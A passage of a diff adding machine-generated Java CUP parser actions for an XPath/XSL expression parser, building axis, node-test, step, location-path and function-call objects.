((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 63: // AbbreviatedAxisSpecifier ::= AT + { + AxisType RESULT = null; + RESULT = new AxisType(); RESULT.i = AxisType.ATTRIBUTE; + CUP$XSLParser$result = new java_cup.runtime.Symbol(23/*AbbreviatedAxisSpecifier*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 62: // AbbreviatedAxisSpecifier ::= + { + AxisType RESULT = null; + RESULT = new AxisType(); RESULT.i = AxisType.CHILD; + CUP$XSLParser$result = new java_cup.runtime.Symbol(23/*AbbreviatedAxisSpecifier*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 61: // AxisSpecifier ::= AbbreviatedAxisSpecifier + { + AxisType RESULT = null; + int aasleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int aasright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + AxisType aas = (AxisType)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = aas; + CUP$XSLParser$result = new java_cup.runtime.Symbol(22/*AxisSpecifier*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 60: // AxisSpecifier ::= AXISNAME + { + AxisType RESULT = null; + int anleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int anright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + AxisType an = (AxisType)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = an; + CUP$XSLParser$result = new java_cup.runtime.Symbol(22/*AxisSpecifier*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 59: // PredicateList ::= Predicate PredicateList + { + Predicate RESULT = null; + int pleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).left; + int pright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).right; + Predicate p = (Predicate)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).value; + int plleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int plright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Predicate pl = (Predicate)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + p.nextP = pl; + RESULT = p; + + CUP$XSLParser$result = new java_cup.runtime.Symbol(32/*PredicateList*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 58: // PredicateList ::= + { + Predicate RESULT = null; + RESULT = null; + + CUP$XSLParser$result = new java_cup.runtime.Symbol(32/*PredicateList*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 57: // nodetest ::= NTEST + { + NodeTest RESULT = null; + int n2left = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int n2right = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Ntest n2 = (Ntest)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = new NodeTest(); + if (n2.i!=3) + RESULT.setTestType(n2.i); + else { + if (n2.arg ==null) + RESULT.setTestType(n2.i); //PI0 + else { + RESULT.setTestType(4); //PI1 + RESULT.setNodeName(n2.arg); + } + } + + CUP$XSLParser$result = new java_cup.runtime.Symbol(24/*nodetest*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 56: // nodetest ::= NAME + { + NodeTest RESULT = null; + int nleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int nright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + NameType n = (NameType)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = new NodeTest(); + RESULT.setTestType(NodeTest.NAMETEST); + RESULT.setNodeName(n.qname); + if (n.localname!=null){ + RESULT.setNodeNameNS(n.prefix,n.localname); + if (parser.nsHash==null || parser.nsHash.get(n.prefix) ==null) + throw new XPathParseException("No URL found for prefix:"+n.prefix); + RESULT.URL = (String) parser.nsHash.get(n.prefix); + } + + CUP$XSLParser$result = new java_cup.runtime.Symbol(24/*nodetest*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 55: // Step ::= AbbreviatedStep + { + Step RESULT = null; + int absleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int absright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Step abs = (Step)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = abs; + //System.out.println(" step 4"); + + CUP$XSLParser$result = new java_cup.runtime.Symbol(25/*Step*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 54: // Step ::= AxisSpecifier nodetest PredicateList + { + Step RESULT = null; + int asleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left; + int asright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).right; + AxisType as = (AxisType)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).value; + int ntleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).left; + int ntright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).right; + NodeTest nt = (NodeTest)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).value; + int plleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int plright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Predicate pl = (Predicate)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = new Step(); + RESULT.setAxisType(as.i); + if ( (as.i== AxisType.ATTRIBUTE + || as.i == AxisType.DESCENDANT + || as.i == AxisType.PRECEDING + || as.i == AxisType.FOLLOWING + || as.i == AxisType.FOLLOWING_SIBLING + || as.i == AxisType.PRECEDING_SIBLING + || as.i == AxisType.NAMESPACE) && + (nt.testType>1)){ + XSLScanner scanner = (XSLScanner)parser.getScanner(); + throw new XPathParseException(as.getAxisString()+" axis can't operate on"+ + " comment(), pi(), or text()", + scanner.getOffset()); + } + + RESULT.setNodeTest(nt); + RESULT.setPredicate(pl); + + //System.out.println(" Step 3 "); + + + CUP$XSLParser$result = new java_cup.runtime.Symbol(25/*Step*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 53: // RelativeLocationPath ::= AbbreviatedRelativeLocationPath + { + Step RESULT = null; + int arlpleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int arlpright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Step arlp = (Step)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = arlp; + CUP$XSLParser$result = new java_cup.runtime.Symbol(27/*RelativeLocationPath*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 52: // RelativeLocationPath ::= Step SLASH RelativeLocationPath + { + Step RESULT = null; + int sleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left; + int sright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).right; + Step s = (Step)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).value; + int rlpleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int rlpright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Step rlp = (Step)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + //if (s == rlp) throw new XPathParseException("$1 = $3!!!!"); + s.nextS = rlp; + rlp.prevS = s; + RESULT= s; + + CUP$XSLParser$result = new java_cup.runtime.Symbol(27/*RelativeLocationPath*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 51: // RelativeLocationPath ::= Step + { + Step RESULT = null; + int sleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int sright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Step s = (Step)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = s; + CUP$XSLParser$result = new java_cup.runtime.Symbol(27/*RelativeLocationPath*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 50: // AbsoluteLocationPath ::= AbbreviatedAbsoluteLocationPath + { + Step RESULT = null; + int aalpleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int aalpright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Step aalp = (Step)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = aalp; + CUP$XSLParser$result = new java_cup.runtime.Symbol(28/*AbsoluteLocationPath*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 49: // AbsoluteLocationPath ::= SLASH RelativeLocationPath + { + Step RESULT = null; + int rlpleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int rlpright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Step rlp = (Step)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = rlp; + CUP$XSLParser$result = new java_cup.runtime.Symbol(28/*AbsoluteLocationPath*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 48: // AbsoluteLocationPath ::= SLASH + { + Step RESULT = null; + RESULT = null; + CUP$XSLParser$result = new java_cup.runtime.Symbol(28/*AbsoluteLocationPath*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 47: // FunctionalLocationPath ::= LocationPathFunctionCall DSLASH RelativeLocationPath + { + LocationPathExpr RESULT = null; + int lpfcleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left; + int lpfcright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).right; + FuncExpr lpfc = (FuncExpr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).value; + int rlpleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int rlpright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Step rlp = (Step)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + + parser.tempStep = new Step(); + parser.tempStep.setAxisType(AxisType.DESCENDANT_OR_SELF); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + parser.tempStep.setNodeTest(parser.tempNt); + + parser.tempStep.setNextStep(rlp); + rlp.setPrevStep(parser.tempStep); + RESULT = new FunctionalLocationPathExpr(lpfc); + //RESULT.setFunc(lpfc); + //RESULT.setPathType(LocationPathExpr.FUNC_PATH); + RESULT.setStep(parser.tempStep); + + CUP$XSLParser$result = new java_cup.runtime.Symbol(21/*FunctionalLocationPath*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 46: // FunctionalLocationPath ::= LocationPathFunctionCall SLASH RelativeLocationPath + { + LocationPathExpr RESULT = null; + int lpfcleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left; + int lpfcright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).right; + FuncExpr lpfc = (FuncExpr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).value; + int rlpleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int rlpright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Step rlp = (Step)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + + RESULT = new FunctionalLocationPathExpr(lpfc); + //RESULT.setFunc(lpfc); + //RESULT.setPathType(LocationPathExpr.FUNC_PATH); + RESULT.setStep(rlp); + + CUP$XSLParser$result = new java_cup.runtime.Symbol(21/*FunctionalLocationPath*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 45: // FunctionalLocationPath ::= LocationPathFunctionCall + { + LocationPathExpr RESULT = null; + int lpfcleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int lpfcright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + FuncExpr lpfc = (FuncExpr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + + RESULT = new FunctionalLocationPathExpr(lpfc); + //RESULT.setFunc(lpfc); + //RESULT.setPathType(LocationPathExpr.FUNC_PATH); + + CUP$XSLParser$result = new java_cup.runtime.Symbol(21/*FunctionalLocationPath*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 44: // LocationPath ::= FunctionalLocationPath + { + LocationPathExpr RESULT = null; + int flpleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int flpright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + LocationPathExpr flp = (LocationPathExpr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + + RESULT = flp; + + CUP$XSLParser$result = new java_cup.runtime.Symbol(20/*LocationPath*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 43: // LocationPath ::= AbsoluteLocationPath + { + LocationPathExpr RESULT = null; + int alpleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int alpright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Step alp = (Step)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = new LocationPathExpr(); + RESULT.setPathType(LocationPathExpr.ABSOLUTE_PATH); + //System.out.println(" absolute "); + RESULT.setStep(alp); + //startStep = currentStep=null; + + CUP$XSLParser$result = new java_cup.runtime.Symbol(20/*LocationPath*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 42: // LocationPath ::= RelativeLocationPath + { + LocationPathExpr RESULT = null; + int rlpleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int rlpright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Step rlp = (Step)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = new LocationPathExpr(); + RESULT.setStep(rlp); + + CUP$XSLParser$result = new java_cup.runtime.Symbol(20/*LocationPath*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 41: // Argument ::= Expr + { + Expr RESULT = null; + int eleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int eright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr e = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = e; + CUP$XSLParser$result = new java_cup.runtime.Symbol(19/*Argument*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 40: // ArgumentList ::= Argument COMMA ArgumentList + { + Alist RESULT = null; + int aleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left; + int aright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).right; + Expr a = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).value; + int alleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int alright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Alist al = (Alist)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = new Alist(); + RESULT.e = a; + RESULT.next = al; + + CUP$XSLParser$result = new java_cup.runtime.Symbol(17/*ArgumentList*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-2)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 39: // ArgumentList ::= Argument + { + Alist RESULT = null; + int aleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int aright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Expr a = (Expr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = new Alist(); + RESULT.e = a; + CUP$XSLParser$result = new java_cup.runtime.Symbol(17/*ArgumentList*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 38: // ArgumentList ::= + { + Alist RESULT = null; + RESULT = null; + CUP$XSLParser$result = new java_cup.runtime.Symbol(17/*ArgumentList*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 37: // LocationPathFunctionCall ::= LocationPathFuncName LP ArgumentList RP + { + FuncExpr RESULT = null; + int lpfnleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-3)).left; + int lpfnright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-3)).right; + FuncName lpfn = (FuncName)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-3)).value; + int alleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).left; + int alright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).right; + Alist al = (Alist)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).value; + FuncExpr tfe = new FuncExpr(lpfn.i, al); + if (!tfe.checkArgumentCount()) + throw new XPathParseException(" argument input for function "+tfe.fname()+" incorrect"); + RESULT = tfe; + + CUP$XSLParser$result = new java_cup.runtime.Symbol(2/*LocationPathFunctionCall*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-3)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 36: // FunctionCall ::= FunctionName LP ArgumentList RP + { + FuncExpr RESULT = null; + int fnleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-3)).left; + int fnright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-3)).right; + FuncName fn = (FuncName)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-3)).value; + int alleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).left; + int alright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).right; + Alist al = (Alist)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-1)).value; + FuncExpr tfe = new FuncExpr(fn.i, al); + if (!tfe.checkArgumentCount()) + throw new XPathParseException(" argument input for function "+tfe.fname()+" incorrect"); + RESULT = tfe; + + CUP$XSLParser$result = new java_cup.runtime.Symbol(1/*FunctionCall*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-3)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 35: // PrimaryExpr ::= FunctionCall + { + Expr RESULT = null; + int fcleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int fcright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + FuncExpr fc = (FuncExpr)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = fc; + CUP$XSLParser$result = new java_cup.runtime.Symbol(18/*PrimaryExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 34: // PrimaryExpr ::= NUMBER + { + Expr RESULT = null; + int neleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int neright = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right; + Double ne = (Double)((java_cup.runtime.Symbol) CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).value; + RESULT = new NumExpr(ne.doubleValue()); + CUP$XSLParser$result = new java_cup.runtime.Symbol(18/*PrimaryExpr*/, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left, ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).right, RESULT); + } + return CUP$XSLParser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 33: // PrimaryExpr ::= LITERAL + { + Expr RESULT = null; + int leleft = ((java_cup.runtime.Symbol)CUP$XSLParser$stack.elementAt(CUP$XSLParser$top-0)).left; + int leright = 